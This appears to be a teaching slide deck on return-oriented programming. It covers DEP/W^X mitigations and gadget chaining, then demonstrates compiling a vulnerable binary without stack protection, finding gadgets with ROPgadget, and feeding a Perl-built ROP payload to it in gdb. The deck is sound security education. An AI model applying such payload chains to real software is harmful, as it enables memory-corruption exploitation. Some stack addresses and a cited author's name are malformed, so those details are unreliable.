

# **RETURN-ORIENTED PROGRAMMING (ROP) OVERVIEW**

# Agenda

- ⦿ Last cycle:
  - Discussed basic stack buffer overflow
- ⦿ This cycle:
  - Mitigations that prevent those older attack techniques
  - Discuss ROP and why it's used
  - Tool Demonstration

# Stack Buffer Overflows

- ⦿ Last cycle we demonstrated basic attack
- ⦿ Common mitigations now prevent that attack:
  - Data Execution Prevention (DEP)
  - Write XOR Execute ( $W^X$ )
  - NX bit, XD bit, XN
- ⦿ Can't write shellcode to stack AND execute that shellcode

# Return-Oriented Programming

- ① Write addresses/data to stack
- ① Execute instructions that already exist on the system
- ① ROP gadgets are the key!
  - Sequence of machine instructions that end in a return instruction

# Example

- Goal:  
Write “0xDEADBEEF” into EAX

- Shellcode:

**B8DEADBEEF**

**mov eax, 0xEFBEADDE**

- But if we WRITE that shellcode instruction to the stack, then we cannot EXECUTE that instruction as well

## STACK

0x33333330	0xB8DEADBE
0x33333334	0xEF909090
0x33333338	SAVED_EBP
0x3333333C	0x30333333
0x33333440	... stuff ...
0x33333444	... stuff ...

# Example

- GOAL:  
Write “0xDEADBEEF” into EAX

- ROP:  
WRITE: (during overflow)  
“DEADBEEF” to the stack

EXECUTE: (after return)

0x58 pop eax

0xC3 ret

## STACK

0x33333330	... stuff ...
0x33333334	0x90909090
0x333333380	SAVED_EBP
0x3333333C	0x88888888
0x333333440	0xDEADBEEF
0x333333444	0x94888888

## ADDRESS

0x88888884		... stuff ...
0x88888888	58	pop eax
0x8888888C	C3	ret
0x88888890		... stuff ...
0x88888894	CC	breakpt

# ROP Analogy

Return-Oriented  
Programming

is A lot like a ransom  
note, BUT instead of cutting  
out Letters from Magazines,  
YOU ARE cutting out  
instructions from text  
segments

Credit: Dr. Raid's Girlfriend

Cite: Dai Zoni, D. (2010). Return-oriented Exploitation. *Blackhat Conference*. Retrieved from <https://media.blackhat.com/bh-us-10/presentations/Zovi/BlackHat-USA-2010-DaiZovi-Return-Oriented-Exploitation-slides.pdf>

# ROP Made Possible By...

- ⦿ Data can be interpreted as instructions

- 0xC3

- Instruction: RET
- Integer: 195
- Character: “Ã”



# ROP Made Possible By...

## ◎ Variable-length instructions introduce unintended instructions

- B8 89 41 08 C3
  - mov eax, 0xC3084189
- 89 41 08 C3
  - mov [ecx+8], eax
  - ret

# ROP Bottom-line

Preventing the introduction of  
malicious code  
**IS NOT SUFFICIENT**  
to prevent the introduction of  
malicious computation.

Cite: Shacham, H. (2007, October). The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In *Proceedings of the 14th ACM conference on Computer and communications security* (pp. 552-561). ACM. Retrieved from <https://cseweb.ucsd.edu/~hovav/dist/geometry.pdf>

# **Tool Demonstration**

# Tool Demonstration - Compile

```
gcc -g -fno-stack-protector -z  
execstack mybigecho.c -o mybigecho
```

```
gcc -g -fno-stack-protector  
mybigecho.c -o mybigechoNX
```

# Tool Demonstration - NX mitigation

```
gdb ./mybigecho
  run < payload
  //notice "Howdy Texas!" printed
  quit
```

```
gdb ./mybigechoNX
  run < payload
  //notice SEGFAULT
  quit
```

# Tool Demonstration - ROPGadget

- `sudo pip install capstone`
- `sudo pip install ropgadget`
- `ROPgadget --binary myecho`
- `ROPgadget --binary myecho --only "pop|ret"`
- ```
perl -e ' print "\x90"x264; print
"\xd8\xfd\xff\xbf"; print
"\xA1\x84\x04\x08"; print
"\xEF\xBE\xAD\xDE"; print
"\x9f\x84\x04\x08"; ' > payload_ROP
```

# Tool Demonstration - NX mitigation

```
gdb ./mybigechoNX
break mybigecho
run < payload_ROP
info reg //notice EAX=1
cont
//notice SIGTRAP
info reg //notice EAX=0xDEADBEEF
quit
```

# Summary



# 3 Main Ideas

- DEP and W^X mitigations prevent traditional shellcode stack-based buffer overflow attacks
- Return-oriented Programming can bypass DEP and W^X mitigations
- Tools can help enable ROP

# Future Work

- ⦿ Discuss how Address Space Layout Randomization (ASLR) and Stack Canaries affect the scenario
- ⦿ Explore Jump-oriented Programming
- ⦿ Demonstrate additional ROP tools, such as ROPEME, mona.py, and ropper
- ⦿ Mitigations that make ROP more difficult, such as the Enhanced Mitigation Experience Toolkit (EMET)

# References

- ⦿ Dai Zoni, D. (2010). Return-oriented Exploitation. *Blackhat Conference*. Retrieved from <https://media.blackhat.com/bh-us-10/presentations/Zovi/BlackHat-USA-2010-DaiZovi-Return-Oriented-Exploitation-slides.pdf>
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